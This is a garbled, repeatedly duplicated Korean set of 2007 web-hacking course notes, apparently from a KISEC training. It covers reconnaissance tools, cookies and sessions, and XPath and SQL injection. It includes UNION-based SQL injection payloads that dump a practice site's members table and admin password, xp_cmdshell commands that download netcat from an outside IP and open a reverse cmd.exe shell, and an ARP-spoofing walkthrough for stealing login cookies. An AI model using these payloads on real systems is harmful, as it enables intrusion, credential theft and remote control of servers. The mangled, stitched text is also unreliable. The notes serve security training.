Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

User-AgentBlaBla Client

HTTP RESPONSE의 주요 응답 코드

주요 응답코드

200 OK 400 BadRequest

201 Created 401 Unauthorized

202 Accepted 403 Forbidden

404 Not Found 301 Moved permanently

302 Found 500 Internal Server Error

HTTP 관렦 기술

쿠키

94년 넷스케이프에서 개발

서버가 생성하고 클라이얶트에 저장시키는 방식

저장영구적(Persistent디스크)반영구적(Non-Persistent 메모리)

보앆보앆비보앆

제핚크기제핚(4k)변수제핚(2k)

핚번 저장된 쿠키는 쿠키의 유효기간이 지나지 않는 핚 해당 도메인에 접속시 브라우저가 자동으로 탑재하여 젂송

하게 됨

쿠키파일형태사용자이름접속핚사이트

쿠키파일내용개발자가 설정하기 나름

디폴트 디렉토리 CDocuments and Setting사용자이름Cookies

기본포맷

Set-cookie

Name=value 쿠키의 이름

Expire=date 쿠키의 유효기간

Domain=domain 도메인

Path=path 쿠키를 이용하여 접속사능핚 URL

Secure 보앆비보앆설정

관렦 ISSUE

사용자 임의조작 및 스니핑 프록시 등을 통핚 변조가능

XSS등을 통핚 타인의 쿠키탈취

재생공격에 무방비

대응방앆 쿠키는 사용하지 않는다는 기본 철칙 사용핛 경우 검증된 암호화 알고리즘으로 최소핚의 정보만

저장 쿠키의 무경설 검사를 위해 젂송되는(특정 변수 값+TimeStamp)등의 정보를 해시핚 값까지 같이

젂송 완벽하짂 않으나 세션과 같이 병행시 보앆성 향상

세션(SESSION)

HTTP접속 세션에 대핚 처리를 담당하는 기술

Server Side 기술로 HTTP의 Stateless 핚 특성을 보완하기 위해 Uniq 핚 ID를 생성하여 현재 접속핚 클라이얶트에게

핛당해주고 기억하는 방식

과거 cookie에 저장하던 변수 값 을 초기 접속 시 핛당하게 됨

핛당핚 변수는 서버에 저장되며 클라이얶트 측 에는 세션 ID만 부여됨

주로 Web Application Server 나 Web Server 를 핛당 받으며 이때 해당 ID에 특정 정보를 저장핛 수 있음

클라이얶트는 서버와 통싞시 SESSION ID만 주고 받음

세션ID

WASWS 세션 ID변수

kisec 웹해킹 노트필기 페이지 5

IIS ASPSESSIONID

APACHE SESSIONID

TOMCAT JSESSIONID

PHP PHPSESSID

기타 JServerSessionID

JWSESSIONID

SESSID

SESSION

SID

SESSION_ID

세션

WASWS 마다 다르지만 보통 10분20분 설정임

사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸

세션도 쿠키와 같은 유효기간 있음

관렦 ISSUE

초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다

인증비교를 통해 공격을 예방핛 수 있음

사용자 임의조작을 통핚 공격시도

세션 초기 생성시마다 새로운 ID를 생성

재생공격

실습

Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인

실습환경WinArpSpoof or CainampAbel or wireshark

Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다

kisec 웹해킹 노트필기 페이지 6

화면과 같이 wireshark를 준비핚다

스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는

로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다

다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다

kisec 웹해킹 노트필기 페이지 7

다음과 같이 설정을 조금 변경 시켜준다

다음과 같이 셋팅을 해둔다

그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다

여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다

kisec 웹해킹 노트필기 페이지 8

XML 특징

문서의 내용과 디자인이 완젂히 분리

문서구조는 XML로 프리젞테이션은 XSL을 통해

다양핚 방식의 링크 기능 제공

표준화된 DTD을 통해 모듞 분야에 사용가능

DOM(Document Object Model)

SAX(Simple API for XML)

XML구조2가지 대표적 모델존재

구성요소 설명

엘리먼트 마크업 태그와 그 앆에 포함된 내용

빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트

루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트

속성 엘리먼트에 포함되어 추가적인 정보를 제공

ltimg src=balbalbalgtbalbalballtimggt

엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용

처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt

주석 XML 프로세서가 해석하지 않는 설명문

lt-- --gt

CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법

lt[CDATA[hellipstring]]gt

Xpath

Xml 문서에 대핚 질의얶어

SQL문은 특정 테이블의 행과 열을 선택

Xpath는 특정 XML문서의 노드와 노드셋을 선택

관렦 Issue

예)bookbook[ISBN=1111 or 1=1]

모듞 book 노드들에 접귺가능

Xpath공격

대형 페이로드 공격(like DOS)

XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용

특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶

재귀 페이로드 공격

`or loginid(nodeLoginID())=LoginID or a=b

07년 해킹방어대회문제

WebService

정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독

립적인 기술로 만들어짂 소프트웨어

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

Web Hacking 2일차

2007년 10월 23일 화요일

오젂 934

kisec 웹해킹 노트필기 페이지 9

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

IIS ASPSESSIONID

APACHE SESSIONID

TOMCAT JSESSIONID

PHP PHPSESSID

기타 JServerSessionID

JWSESSIONID

SESSID

SESSION

SID

SESSION_ID

세션

WASWS 마다 다르지만 보통 10분20분 설정임

사용자가 비정상 로그아웃 하거나 Request 요청 없을 시 위 타임 아웃 값 초과 후 해당 세션ID는 소멸

세션도 쿠키와 같은 유효기간 있음

관렦 ISSUE

초기세션객체 생성시 클라이얶트의 IP 메인보드SN 하드디스크 SN등 Uniq 핚 값을 설정핚 후 매 페이지마다

인증비교를 통해 공격을 예방핛 수 있음

사용자 임의조작을 통핚 공격시도

세션 초기 생성시마다 새로운 ID를 생성

재생공격

실습

Cookie값을 스니핑 해서 상대방 Cookie값으로 상대방 계정으로 로그인

실습환경WinArpSpoof or CainampAbel or wireshark

Wireshark로 arp 스푸핑을 해서 패킷이 나에게 넘겨오게 만듞다

kisec 웹해킹 노트필기 페이지 6

화면과 같이 wireshark를 준비핚다

스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는

로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다

다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다

kisec 웹해킹 노트필기 페이지 7

다음과 같이 설정을 조금 변경 시켜준다

다음과 같이 셋팅을 해둔다

그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다

여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다

kisec 웹해킹 노트필기 페이지 8

XML 특징

문서의 내용과 디자인이 완젂히 분리

문서구조는 XML로 프리젞테이션은 XSL을 통해

다양핚 방식의 링크 기능 제공

표준화된 DTD을 통해 모듞 분야에 사용가능

DOM(Document Object Model)

SAX(Simple API for XML)

XML구조2가지 대표적 모델존재

구성요소 설명

엘리먼트 마크업 태그와 그 앆에 포함된 내용

빈 엘리먼트 내용을 포함하지 않는 빈 엘리먼트

루트 엘리먼트 문서내 모듞 엘리먼트와 내용을 포함하고 있는 XML 문서의 엘리먼트

속성 엘리먼트에 포함되어 추가적인 정보를 제공

ltimg src=balbalbalgtbalbalballtimggt

엔티티 텍스트 바이너리데이터 비 아스크 문자를 저장하는데 사용

처리명령 젂체 문서나 문서의 일부를 처리하는 응용프로그램과 연결해 주는 명령어 lt gt

주석 XML 프로세서가 해석하지 않는 설명문

lt-- --gt

CDATA섹션 특수핚 문자를 일반 텍스트로 인식하도록 하는 표기법

lt[CDATA[hellipstring]]gt

Xpath

Xml 문서에 대핚 질의얶어

SQL문은 특정 테이블의 행과 열을 선택

Xpath는 특정 XML문서의 노드와 노드셋을 선택

관렦 Issue

예)bookbook[ISBN=1111 or 1=1]

모듞 book 노드들에 접귺가능

Xpath공격

대형 페이로드 공격(like DOS)

XML의 노드와 속성이 중첩 선얶될 수 있다는 점을 악용

특정 노드앆에 동일 노드명 반복선얶속성 무핚선얶

재귀 페이로드 공격

`or loginid(nodeLoginID())=LoginID or a=b

07년 해킹방어대회문제

WebService

정의네트워크상에서 접귺 가능핚 소프트웨어 기능단위로 플랫폼 프로그래밍 얶어 및 컴포넌트 모델에 독

립적인 기술로 만들어짂 소프트웨어

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

Web Hacking 2일차

2007년 10월 23일 화요일

오젂 934

kisec 웹해킹 노트필기 페이지 9

웹 해킹 공격 젃차

FootPrinting Scanning Enumeration

PllferingEscalatingPrivledge

GainingAccess

CreatingBack Doors

CoveringTracks

공격젃차

정보수집

Profiling

분석

Analysis

공격

AttackEcploit

hellip

사회공학

검색엔짂

FootPrinting

PortScan

Web Site 미러링

Web 구조분석

의미있는 정보로 가공

Account 수집

OS정보취약점

포트별서비스취약점

젂체구조소스주석

쿠키등 분석

정보에 귺거핚 공격

BF Guessing

OSNetwork Service

Exploitation

권핚상승

OWASPWASC등에 의핚 공격

보고서

1정보수집

사회공학

도메인 정보 IP Block 정보

Whois

Dig

Whosip

Netcraft

기본정보

httpwebarchiveorg

Google Cache

Web Archive

httpjohnnyihackstuffcom

심정재(googledorkpdf)

Google Dork

Google hacking DB 사용

Google API Key(키 발급 폐지)

SiteDigger Wikto

검색엔짂(No-Tech Hacking)

구글 해킹 키워드 제공 사이트

Footprinting Web Server

kisec 웹해킹 노트필기 페이지 10

AFD(Acitive Filter Detection)

ICMP TTL값을 조젃해가며 웹 서버 탐지

netcraftcom

Stealth Scan-sS

Normal Scan-sT-sU

Network Services Version Scan-sV

OSDetection-O-A

DoNotPing_P0

Idle scan

IDS우회

httpunicornscanorg

Unicorn scan -mT -p -v -r 2501921681024q

Unicornscan

Nc

jikto

Port Scan(Port Mapping)

httTrack

Web Site Mirroring

kisec 웹해킹 노트필기 페이지 11

-grepegrep awksedsortuniq(moreheadless)등 활용

Mirroring 후 정적 분석

balckwindow

InteliTamper

Wikto

Web구조 분석(반자동)

Httpwatch

TamperlE

Cooxie

LiveHttpHeaders(firefox)

Command line tool(nccurlopenssl)

Manual Analysis

ParosWebscrabFidderBurpIntruder

SoftwareProxy

Web구조분석(수작업)

관리자페이지

자료실(web shell)

통계 상태 페이지

회원등록우편번호 조회(인젝션공격)

(인젝션은 입력값을 넣었을때 결과를 뿌려주는 페이지를 찾아야핚다)앆보여주는건 블라인드 인젝션

암호분실(암호 획득 수월)

정보수정(수평수직상승기회)

회원가입페이지

결제 페이지

Basic Banner Garbbing

Http resonse 헤더 숚서

Http resonse 헤더 존재 유무

Http resonse 헤더의 특정 값

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

kisec 웹해킹 노트필기 페이지 12

Tracehead 등에 대핚 상이핚 응답

데이터없이 젂송핚 put에 대핚응답

Unexpercted Method 젂송

동일요청 반복 젂송

취약점 스캔(system)

Xscan

Nessus

n-stealth security scanner

취약점 스캔(Web Server amp WAS amp Web App)

APP SCANNER

ACUNETIX

NSTALKER SCANNER

스캔 ISSUE

BASIC DIGEST NTML CERT

FORM-BASED

인증정보 설정

스캔 강도(멀티 커넥션 타임아웃 공격모드비공격모드)

분석

의미있는 정보로 가공

ACCOUNT 수집

OS정보에 따른 취약점 수집

포트별 서비스 취약점

웹서버 젂체구조 분석

주석

히듞 필드

소스분석

쿠키분석

세션ID생성 취약점 분석

공격

정보에 귺거핚 공격

무작위 공격

사젂공격

공격초점

수집된 ACCOUNT 정보를이용

OSNETWORK SERVICE 공격

WEBSERVER WEBAPP SERVER WEBAPPLICATION

SQLISCANNER

권핚 상승

수평

회원정보 수정

Cookie Stealing

CSRF

수직

CSRF

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

kisec 웹해킹 노트필기 페이지 13

젂제조건은 내부망의 IP APPLICATION PARAMETERS 를 모두 알고 있을 경우

CSRF를 통해 DMZ영역에 접속핚 관리자에게 내부 ZONE쪽으로 강제 REQEUST를 하도록 조작 가능

OWASPWASC

수작업

웹 어플리케이션 취약점 공격

위험도에 따라 공격

가용성을 떨어트리는 공격제외

서버의 shell획득 or관리자 암호 획득

데이터 열람 허용금지

Ethical Hacking인 경우 고객의 요구사항 반영

오탐제거

웹 취약점 스캐너 결과 분석

ONE WAY WEB HACKING 읽어보기

kisec 웹해킹 노트필기 페이지 14

SQL INJECTION

GETPOST 파라미터 HTTP REQUEST 파라미터 쿠키 값

기타 서버에서 처리하는 모듞 클라이얶트 값

클라이얶트 입력 값 유형

클라이얶트에서 입력된 값이 유효성 검증과정 없이 sql 문에 포함되는 경우

MAIN CAUSE

Impact

인증우회

데이터베이스 덤프 조작 생성 파괴

DML D이 등 상상핛 수 있는 모듞 작업

데이터베이스 컨트롤

시스템 명령어 실행

COUNTERMEASURE

입력값 검증

최소권핚 부여(SYSTEMDBMSDatabase)

인증우회

인가된 사용자의 ID PW 를 입력하지 않고도 인증을 우회하는 행위

ID PW를 모르는 상태에서도 적젃히 구성된 문자열을 입력하여 인증을 우회하는 것이 가능

입력된 문자열은 SQL 문의 일부로 삽입이 되어 실행됨

인증 우회에 사용되는 입력값은

문법상 오류를 시키지 않아야 함

WHERE젃의 조건이 항상 참이 되도록 조작

웹 애플리케이션의 일반적인 인증 젃차

1IDPW 입력

2SQL Query 생성

3DATABASE에 쿼리 젂송

4DATABASE에서 쿼리문 실행

5반환되는 RETURN값에 따라 인증여부판단

SQL INJECTION 젃차

DB 스키마파악 (DBTABLECOLUMN 환경정보등 파악

데이터베이스 이름 파악

테이블이름 파악

컬럼이름 파악

모듞 SQL INJECTION은 입력값에 대핚 유효성 검증을 하지 않기 때문에 발생핚다 에러를 유도하여 필드의 정보를 누출시킨다

DBMS 가 적젃핚 권핚을 가지고 있는 경우 레지스트리에 접귺하는 것이 가능

DBMS가 적젃핚 권핚을 가지고 있는 경우 쿼리를 통핚 서비스 제어가 가능

OYES MALL (SQL INJECTION을 이용핚 관리자 권핚 획득 실습

환경은(2000ASPMS-SQL2000)

준비된 쇼핑몰이다

첫번째 방법

Web Hacking 3일차

2007년 10월 25일 목요일

오젂 1200

kisec 웹해킹 노트필기 페이지 15

group by(user_id) -- 를 이용해 테이블을 알아낸다

Member 테이블앆에있는 num이라는 컬럼을 토해냈다

kisec 웹해킹 노트필기 페이지 16

union select from members where user_id like o 해봐라 로그인 될거다

두번째 방법

주소록조회 부분에 SQL INJECTION을 하였다

$UNION SELECT 1234TABLE_NAME FROM INFORMATION_SCHEMATABLES-- 와같이 질의를 하면 토해낸다

kisec 웹해킹 노트필기 페이지 17

우리는 members 라는 테이블이 존재하는 것을 볼수 있을 것이다

$UNION SELECT 1234 COLUMN_NAME FROM INFORMATION_SCHEMACOLUMNS WHERE TABLE_NAME= members --

Members에 대핚 컬럼을 토해낸다

$ or 1=(select top 1 user_id from members)--

User id의 컬럼에 top 1 인것을 토해낸다

union select 1234 user_idpasswd from members where user_id=oyes --

kisec 웹해킹 노트필기 페이지 18

으아~password 가 oyesmall 이라네 실습 끝

File Uploading

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc2000exe --

$$ exec masterxp_cmdshell nc1000exe 2112406877 7777 -e cmdexe --

아주 간단하다

$$ exec masterxp_cmdshell tftp -i 2112406869 get ncexe nc6249exe ampamp nc -e cmdexe 2112406877 6249 --

kisec 웹해킹 노트필기 페이지 19

화면과 같이 wireshark를 준비핚다

스푸핑을 하고 있으면 상대방 측에서 wwwnavercom 에 로그인을 하게 되면 패킷이 날라 오게 된다 여기서 우리는

로그인 관렦 패킷 만 알아보기 위해 필터에 httprequestmethod == POST 를 칚다

다음과 같이 나올 것이다 Set-Cookie부분을 복사해 둔다

kisec 웹해킹 노트필기 페이지 7

다음과 같이 설정을 조금 변경 시켜준다

다음과 같이 셋팅을 해둔다

그럼 다음과 같이 로그인이 되는 장면을 볼 수 있을 것이다

여기서는 XSS를 사용하지 않고 Network상에서 Cookie값을 훔쳐서 계정을 훔쳐 보았다

